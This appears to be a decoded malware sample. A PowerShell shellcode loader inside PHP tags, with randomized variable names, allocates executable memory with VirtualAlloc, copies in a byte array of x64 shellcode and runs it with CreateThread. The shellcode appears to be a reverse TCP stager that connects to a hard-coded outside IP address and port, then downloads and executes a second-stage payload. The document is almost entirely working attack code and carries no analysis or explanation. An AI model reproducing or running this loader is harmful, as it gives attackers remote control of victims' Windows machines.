PHP Decode

<?  $wtfZyWgqlNKb = @" 
[DllImport("kernel32.dll")] 
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 
[DllImport("kernel32.dll")] 
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 
"@ 
 
$mXLTAViuiwzjb = Add-Type -memberDefinition $wtfZyWgqlNKb -Name "Win32" -namespace Win32Functions -passthru 
 
[Byte[]] $HjGfvYcXnC = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0x50,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x3f,0x50,0x12,0xb0,0xb7,0x3,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 
 
 
$WpkkyGVRDczVPsS = $mXLTAViuiwzjb::VirtualAlloc(0,[Math]::Max($HjGfvYcXnC.Length,0x1000),0x3000,0x40) 
 
[System.Runtime.InteropServices.Marshal]::Copy($HjGfvYcXnC,0,$WpkkyGVRDczVPsS,$HjGfvYcXnC.Length) 
 
$mXLTAViuiwzjb::CreateThread(0,0,$WpkkyGVRDczVPsS,0,0,0) ?>